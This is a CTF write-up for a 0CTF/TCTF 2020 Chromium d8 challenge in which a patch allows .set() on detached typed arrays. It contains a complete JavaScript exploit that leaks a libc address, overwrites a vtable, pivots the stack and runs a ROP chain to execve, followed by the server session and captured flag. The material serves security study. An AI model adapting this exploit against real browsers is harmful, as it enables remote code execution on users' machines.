For this challenge we get a chromium diff, we can see that the change allows us to call .set() on detached typedarrays.
Thus we can leak pointers by activetypedarray.set(detachedtypedarray) and overwrite by doing the other way around.
We have to find something useful to overwrite; everytime we create a typed array we have the following allocations:
```d8->calloc(112, 1)      = 0x555556af4520  // The actual typed array (we control it's size)d8->malloc(48)          = 0x555556af4330  // Contains a vtable pointerd8->malloc(32)          = 0x555556af45a0d8->malloc(40)          = 0x555556af45d0```
By creating a typedarray of size 48 we can get it to overlap with the stuct containing the vtable pointer. Then we can get pc control on freeing the typedarray buffer by inserting a fake vtable. Use the `xchng rax, rsp` gadget in libc to pivot and rop into an execve call. The pivot gadget is a bit unwieldy but it's ok.
pwn.js:```jsvar ab0 = new ArrayBuffer(0x30);var ab1 = new ArrayBuffer(0x30);
// Leak a libc addressvar b1 = new BigUint64Array(0x600);var b2 = new BigUint64Array(0x600);%ArrayBufferDetach(b1.buffer);b2.set(b1);var leak = b2[1];
var t0 = new BigUint64Array(ab0);var t1 = new BigUint64Array(ab1);
%ArrayBufferDetach(t0.buffer);
var ab2 = new ArrayBuffer(0x60);var ab3 = new ArrayBuffer(0x8000);var rop = new BigUint64Array(ab3);var rop2 = new Uint8Array(ab3);
var c1 = new ArrayBuffer(8);var b = new BigUint64Array(c1);var c = new Uint8Array(c1);
var libc_base = leak - 4111520n;
// We can now write over some inner struct of ab3 containing a vtable, which is// called when we free ab3's backing storet1.set(t0);t1[3] = t1[0]+8n;t0.set(t1);
// Fixup for unwieldy pivot gadgetlet val = ((t1[0] - 92464n) >> 8n) & 0xffn;b[0] = val;
rop[0] = libc_base +0x6388n;rop2[0] -= c[0];
rop[1] = t1[0];rop[4] = libc_base + 0xfacc5n;
var pop_rdi = libc_base + 0x2155fn;var pop_rsi = libc_base + 0x23e6an;var pop_rdx = libc_base + 0x1b96n;
var ptr     = t1[0] + 0x30n;var ptr2    = t1[0] + 0x40n;var execve  = libc_base + 937520n;
var str = "/readflag";var arg = ""for (i=0; i<str.length; i++) {        rop2[0x30+i] = str.charCodeAt(i);}for (i=0; i<arg.length; i++) {        rop2[0x40+i] = arg.charCodeAt(i);}
rop[0x20] = ptr;rop[0x21] = ptr2;
b[0] = pop_rdi;rop2.set(c, 17030);b[0] = ptr;rop2.set(c, 17038);b[0] = pop_rsi;rop2.set(c, 17046);b[0] = t1[0] + 0x100n;rop2.set(c, 17054);b[0] = pop_rdx;rop2.set(c, 17062);b[0] = 0n;rop2.set(c, 17070);b[0] = execve;rop2.set(c, 17078);
// Call to allocator->Free which we control%ArrayBufferDetach(rop.buffer);```
And in action:```$ cat pwn.js | nc -q1 pwnable.org 40404_______________                             _____                            ________ _____________________  ____/___  /_ ______________ _______ ___ ___(_)____  _________ ___        ___  __ \__  ____/___  ____/_  /     __  __ \__  ___/_  __ \__  __ `__ \__  / _  / / /__  __ `__ \       __  /_/ /_  /     __  __/   / /___   _  / / /_  /    / /_/ /_  / / / / /_  /  / /_/ / _  / / / / /       _  _, _/ / /___   _  /___   \____/   /_/ /_/ /_/     \____/ /_/ /_/ /_/ /_/   \__,_/  /_/ /_/ /_/        /_/ |_|  \____/   /_____/   
Welcome to 0CTF/TCTF 2020!Paste your javascript code here, end it with EOF(not Ctrl-D :P). Then I will run `d8 <xxx.js>`.flag{dbc68439ba5f2cdbccf459cd3edb54c80b9c89e9}```